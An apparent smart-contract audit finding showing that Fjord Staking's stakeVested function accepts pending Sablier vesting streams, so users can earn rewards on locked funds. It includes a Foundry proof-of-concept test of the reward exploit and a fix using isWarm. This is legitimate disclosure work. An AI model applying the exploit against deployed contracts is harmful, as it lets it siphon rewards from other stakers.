Vulnerability Details
The stakeVested function in the Fjord Staking contract enables users to stake their Sablier vesting NFTs, which contain FJORD tokens, and earn rewards for those staked NFTs. However, the function only verifies whether the stream is "cold" (i.e., settled, canceled, or depleted) and does not check if the stream is active(streaming) or pending:
function stakeVested(uint256 _streamID) external checkEpochRollover redeemPendingRewards {
if (!sablier.isStream(_streamID)) revert NotAStream();
if (sablier.isCold(_streamID)) revert NotAWarmStream();
if (!authorizedSablierSenders[sablier.getSender(_streamID)]) {
revert StreamNotSupported();
}
if (address(sablier.getAsset(_streamID)) != address(fjordToken)) revert InvalidAsset();
}
As seen in the code above, pending streams can be staked and accrue rewards, which is problematic because the funds in pending streams remain locked until the start date. So, users can stake their Sablier vesting NFTs during the pending period and earn rewards and unstake their on the start date
Proof Of Concept
The following example demonstrates how Alice can earn rewards for staking a pending stream for two weeks. To replicate, copy and paste the following test case into test/unit/stakeVested.t.sol:
function test_pendingStreamsCanBeStaked() public {
uint amount = 10 ether;
deal(address(token), address(this), amount);
token.approve(address(SABLIER), amount);
LockupLinear.CreateWithRange memory params;
params.sender = address(this);
params.recipient = alice;
params.totalAmount = uint128(amount);
params.asset = IERC20(address(token));
params.cancelable = false;
params.range = LockupLinear.Range({
start: uint40(vm.getBlockTimestamp() + 14 days),
cliff: uint40(vm.getBlockTimestamp() + 15 days),
end: uint40(vm.getBlockTimestamp() + 45 days)
});
params.broker = Broker(address(0), ud60x18(0));
uint streamID = SABLIER.createWithRange(params);
vm.startPrank(alice);
SABLIER.approve(address(fjordStaking), streamID);
vm.expectEmit();
emit VestedStaked(alice, 1, streamID, amount);
fjordStaking.stakeVested(streamID);
_addRewardAndEpochRollover(1 ether, 2);
vm.startPrank(alice);
vm.expectEmit();
emit ClaimReceiptCreated(alice, 3);
fjordStaking.claimReward(false);
(, uint256 unclaimedRewards, ,) = fjordStaking.userData(address(alice));
assertEq(2 ether, unclaimedRewards);
}
Impact
Pending streams can be staked and accrue rewards
Tools Used
Manual Review
Recommendations
Consider checking whether the stream is started or not, use isWarm to detect that